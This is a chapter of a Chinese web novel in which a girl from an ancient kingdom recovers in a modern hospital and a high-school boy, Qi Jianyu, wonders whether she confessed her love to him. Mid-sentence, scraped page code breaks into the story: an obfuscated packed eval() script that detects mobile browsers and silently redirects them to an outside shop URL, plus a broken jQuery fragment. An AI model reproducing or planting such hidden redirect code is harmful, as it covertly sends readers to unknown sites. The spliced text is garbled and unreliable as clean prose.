她像是陷在半梦半醒间,嗓音干哑发涩,阖上眼睛呢喃,“他是父亲在营台之战捡下的孤儿,自小跟着国公府的良医钻研医术,年纪长我几岁,算得上是我的兄长。”
“阿兄幼时即常为我诊疾,律己甚严,若有分毫疏漏,无需我偏袒,他断不肯自恕。”
从刚才起就呆滞在原地的人一个字都听不见,周遭所有动静都在刹那间褪去,他只看得见对方的唇在翕动,大脑嗡嗡作响,持续回荡着那句“因为我心悦于你。”
医生怪异地看着他傻站在这里,满脸客气,示意道:“齐公子,麻烦您让一下。”
“嗯?”齐见钰回过神,礼貌退至一边,“您叫我齐见钰就行。”
他想坐下,看见床边椅子上摆着双拖鞋,略微疑惑,没乱动,只好继续站着。
外套口袋里的手机发出声响,齐见钰摸出来,是在医院外等候的司机。
“见钰,你身体有没有好些?”
徐叔透过车窗望向医院内,“医生怎么说?是否需要我替您向学校那边请假?”
齐见钰朝着病房的方向看了一眼,目光深深,随即边答话边走出病房,“好多了,应该是没什么问题,不需要请假。”
他按亮电梯按钮,“徐叔,我现在就出去。”
“好。”徐叔依旧微笑脸,等着电话挂断。
外面寒风凛冽,齐见钰拉上外套拉链,裹紧,快速钻入车内。
他关上车门,冻得直发抖。
徐叔递过来一杯热茶,齐见钰没喝,只用来捂手,他心不在焉地盯着杯里茶水,而后忽然抬头,“徐叔,我有个朋友最近生病住院了,情况还挺严重的,以后放学……”
齐见钰顿了顿,没接着说下去。
“好的。”徐叔浅浅一笑,如此回答道。
齐见钰眸光闪躲,如同隐秘心事被人揭穿一般,别过头去,含糊不清地应了声。
他放下杯子,又道:“还有我爸妈那边……”
“您请放心,我会注意的。”
齐见钰未说完的话全都卡在喉咙里,再一次含糊嗯嗯两声。
徐叔望了眼后视镜,神色照常安然。
没过多久,京大附中校门出现在车窗外。
车子一停稳,等不及徐叔拉开后车门,齐见钰便迫不及待地跳下车,一手拎着书包一手挥动朝他告别,“徐叔再见。”
刚解开安全带的人转头看他,嘴角挂着浅淡笑意,不禁点头,“好。”
确认齐见钰进入校园,他升起车窗,重新扣上安全带,驱车离开。
高二一班。
崔建业赶在晨读铃声响起前的最后一秒踏进教室后门,瞄见讲台上的班主任,他弯腰憋气,蹑手蹑脚地到达自己位置上。
京大附中仅以考试作为招生选拔途径,对学生成绩门槛很高,招收的学生总数不多,每个班级平均人数更少。
教室内设四列单人课桌,每位学生单独一桌,不设同桌。
崔建业坐在里侧靠窗最后一个位置上,齐见钰坐他右手边,书立着,人趴在书后睡着了。
“……”他有样学样地也把书立起,腿伸长,轻踢了踢齐见钰的桌子。
借由其他同学读书声的掩护,他用气音说道:“喂,不至于吧,昨晚你不是很早就下线不打游戏了么?有这么困?”
齐见钰无精打采地睁眼看他,又不能和他说自己心口难受到一夜没睡,早上按捺不住地想去医院确认点东西,特意赶了早,结果人貌似没哭,倒和他说了句风马牛不相及的话。
她那是在和我表白吗?
好像是的吧。
齐见钰脸颊升起一抹可疑的薄红,慢吞吞地转过脸,盖上卫衣帽子,“有。”
崔建业一脸惊奇,这还是齐见钰吗?
他齐见钰是什么人啊。哪怕前晚通宵打游戏,第二天都照样把自己收拾得整齐干净,洗发水和沐浴露味道齐飞,整个人容光焕发,不见丝毫疲惫。
知道的知道他打了一晚游戏,不知道的还以为准备亮相巴黎时装周。
崔建业现在都记得自己第一次看见时,没忍住吐槽道:“包袱还挺重。”
那会儿他们高一,彼此刚认识,他对齐见钰的印象除了游戏技术不错,长得帅很多人追以外,就是他家里贼有钱,从私立中学考进来的,不懂为什么不继续就读私立高中。
齐见钰闻言满脸问号,反应过来之后眼底浮现出一抹笑意,慢条斯理地嗯嗯点头,“随便穿的。”
崔建业听完差点翻白眼。
齐见钰佯装没看见这表情,非要绕过陈昀往他身边凑,身上那说不出的昂贵味道糊了他一脸,再配上暗戳戳的嘚瑟表情,简直让人恨不得揍他几下才能满意。
崔建业已经握紧拳头,准备不顾一切先解气再说。
陈昀笑着按住他胳膊,好声好气地劝说,“算了算了。”
倒也没想真的揍人,崔建业看了他一眼,顺着他给的台阶而下,“真算了?”
陈昀思考几秒,正儿八经地道:“谁让人家长得确实好看呢,这与穿什么无关。”
“啧,”崔建业隔了这么久想起来都要轻啧一声,虽然这是事实,但怎么就让他生出交友不慎之感。
他从书包里掏出早饭,刚对着汤包咬了一口——
“崔建业,”语文课代表按照班主任的吩咐,绕着教室逡巡一圈,最后停在这里,抱着书本扶扶眼镜,“晨读不许吃早饭。”
崔建业摇头,“没啊。”他一本正经地道:“这是汤汁储存罐,我就是打开来看看。”
语文课代表不和他辩驳,拿笔作势要记录名字。
“别别别,”崔建业连连阻止,囫囵几口吃完手上这个汤包,把剩下的塞回桌肚里,两手空空展示,“我不吃了。”
说完,他瞥瞥旁边,抬手指了指,一脸震惊问:“不许我吃饭,却允许他睡觉?我俩不都是没读书么?怎么差别对待?”
语文课代表怯怯地向后看,脸颊些许发红,抿唇笑,强撑着云淡风轻回道:“他不一样。”
“齐见钰长得好看。”
哇,哇,哇。崔建业就后悔问这一嘴。
什么意思?
长得没那么好看吃个饭也不行?
他愤愤地盯着课代表远去的身影,手摸到那袋汤包,打开袋子的那一刻,下课铃响了。
崔建业美滋滋地晃晃脑袋,毫无负担地开始享用早饭。
齐见钰心里装着事情,忧虑得根本没睡着,只能闭起眼睛放松。鼻间倏忽嗅到股香气,他转头,直直看过去。
崔建业斜觑,几秒后,扭扭身子背朝他,“你长得那么好看,睡觉就够了,哪用得着吃饭。”
“?”齐见钰大脑一片空白。
他这会儿吃不下任何东西,但受到这句话启发,目不转睛地看着旁边人。
崔建业在这样的凝视下吃了个汤包,转瞬又吃了一个,最后受不了了,把早饭推过去,“给给给。”
他实在顶不住他爸之外的另一个男的这么长久看着自己,况且他爸要是长时间看他,多半是要家法伺候了。
崔建业心有余悸,从书包里掏出瓶牛奶喝口压压惊。
齐见钰没接,摘下帽子,“我吃过了。”
“吃过了你还那么看着我?”崔建业一把将汤包夺回来自己吃,“不知道的还以为我抢你早饭了呢。”
“……”齐见钰摸了摸耳朵,想到自己下面要问什么就感到不好意思,“哎,那个。”
崔建业边嚼食物边望向他,示意接着说。
“就……”
上课铃声忽然打响,化学老师进入教室,坐在前排的陈昀站起身,“起立。”
“老师好。”
齐见钰坐回座位,弯身寻找化学书。
崔建业小声滴滴,“不说了?”
齐见钰:“中午再讲。”
中午,附中食堂。
崔建业挥手让刚打完饭的陈昀过来,“班长,这里。”
陈昀放下餐盘,坐到他身边,和他一起望向对面人,问道:“什么事情这么神神秘秘?”
齐见钰没吱声。崔建业摇摇头,摊手表示我也不知情。他还偷偷上交情报,“从早上就这样了。”
陈昀一脸探究,目光再次飘往对面。
齐见钰被他们看得心烦意乱的,拿起筷子拨拨菜,接着又放下,啪地一声,视死如归,“你们觉得我长得如何?”
“……”崔建业又想翻白眼了,但谁让这人已经成了自己的好朋友,于是他说道:“帅。”
崔建业竖起大拇指,一脸诚恳,“非常帅。”
齐见钰心里极其不好意思,告诉自己要硬着头皮严肃起来,对陈昀扬扬下巴,“你呢?”
陈昀不禁失笑,双手赞同崔建业的说法。
齐见钰悄悄红了耳根,“那你们觉得会有人暗恋我么?就是暗恋到那种……”
他开始变得支支吾吾,微微低着头,“那种特别喜欢的地步。”
他没说谎,她会去他家里找他,会长时间偷看他,甚至生病了还不忘告诉他
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17745016|209250||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
一句,她喜欢他。
这得是有多喜欢啊?他不能明白。
齐见钰摆弄了下衣角,摸摸鼻子,极力摆出若无其事的样子,“你们说,会不会存在这种情况?”
其实崔建业完全想不通他为什么会问出这种问题。有一说一,这人在学校里真挺招女孩喜欢的。他一时语塞,愣是一个字都没说出来。
陈昀看出对面人是在认真询问,不插科打诨了,点头理性分析道:“会。综合你的外在、成绩、性格和家世来看,百分百存在这个可能。”
百分百?齐见钰鬼使神差地翘了翘嘴角,意识到之后迅速放平。
他心里纳闷,自己对她毫无印象,她又非本校学生,那她什么时候又是怎么认识他的?
齐见钰拿起筷子,简单吃了两口,随即放下,摸出手机。
不清楚她有没有退烧,午饭吃得怎么样。
齐见钰点了两下屏幕,这才发觉自己压根没法联系她。她没有手机,也没有贴身照顾的护工,要是再去联系蒋院长,齐见钰这下是真不知道自己能不能顶得住蒋院长那意味深长的目光。
他只能沉下心思,收起手机。
他在这边按部就班上课,医院那里却一整个兵荒马乱。
李端姝身上的温度反复无常,升升降降,原本的间歇性咳嗽转变为阵阵剧烈咳嗽,每次呼吸都要费力得多。
医生和护士忙成一团,病人本人倒是接受良好。她周身乏力,几乎整天都处于昏昏欲睡的状态,偶尔清醒时也一言不发,睁着眼睛,入迷似的望着各种医用器械,仿佛生着病的人不是自己。
不知是不是护士的错觉,她总感到病人眼里最为深处的情绪不是好奇,而是艳羡。
傍晚,李端姝才算彻底退了烧。身上温度保持稳定,没有再往上升的趋势。
她恢复了点精力,顺着手背上的管子向上看,望着晶莹剔透的琉璃瓶出神。
这里的人们当真聪明,以器承药汁,引流入经渠。其理与承溜集雨别无二致。唯一不同大概是药汁随时可煎,而承溜必待黄梅时雨。
李端姝想,若是自己能回到大玄就好了,她将此法告诉阿兄,阿兄或许能够穷尽其理,大玄的百姓也能少于病痛折磨。
过了一会儿,护士进来拔针,她紧盯着护士动作,记住扎的是何处。
护士莫名紧张,撕开医用胶布的手都在颤抖。
李端姝毫无察觉,还言道:“多谢先生。”
护士心头微微一热,“不用谢。”她拎着废弃药瓶走出病房。
李端姝还在想自己该怎么回到大玄的事,翻身无意触及枕头边的玉簪,她将其拿在手中,于灯光下细细瞧着。
这簪子末端明明不够锐利,那夜怎能割伤她的手?
李端姝坐起身,尝试用力再划一次,食指面积小,她撩开衣袖,准备对着手腕。
“你在干什么?”齐见钰进门便看见这个场景,三步并两步地走上前,目光沉沉地取走她手里的东西,“大家费尽心思地救你不是为了让你随便伤害自己,你这是要割腕?”
李端姝迷茫摇头,“这器具不足以断腕。君何作此解?”
齐见钰听的半懂,心道他又没说她要断腕,什么此解?
他将玉簪放至一边,想要坐下,见到那双拖鞋还摆在椅子上,他几番克制,终究还是开口问道:“这个很重要吗?”
“什么?”
“拖鞋。”
李端姝歪了歪头,“这是何器物?”
齐见钰沉吟片刻,在想这该怎么翻译。几分钟后,他干脆手拿起那双拖鞋,把它摆在床底,鞋头朝外。
齐见钰蹲在那里仰头看她,“一种布屐。”
这么翻译完,他笑道:“你要不要穿上试试?”
李端姝未曾想到这真是踏足之物,犹犹豫豫地低头看去,却迟迟不肯下床。
齐见钰无由意识到什么,刚打算离她远些,又见到她掀开被褥,脚踩进拖鞋里。
他抬起头,李端姝刚好也看向他,两人四目相对。
好像是有点害羞的,她脸上发红,移开视线,不怎么敢看他。
李端姝的确纠结要不要直视他,连日观察下来,她发觉此处百姓并不十分看重男女避嫌的规矩。她尽量说服自己入乡随俗,眼波流转,撞进一道深邃而清明的眼眸之中。
她望见了其他人,一个万分熟悉的人。
这回是齐见钰先移开视线,他眼睫眨动,试图掩饰住内心慌乱,紧张地吞了吞口水,“你,你今早说得是真的吗?”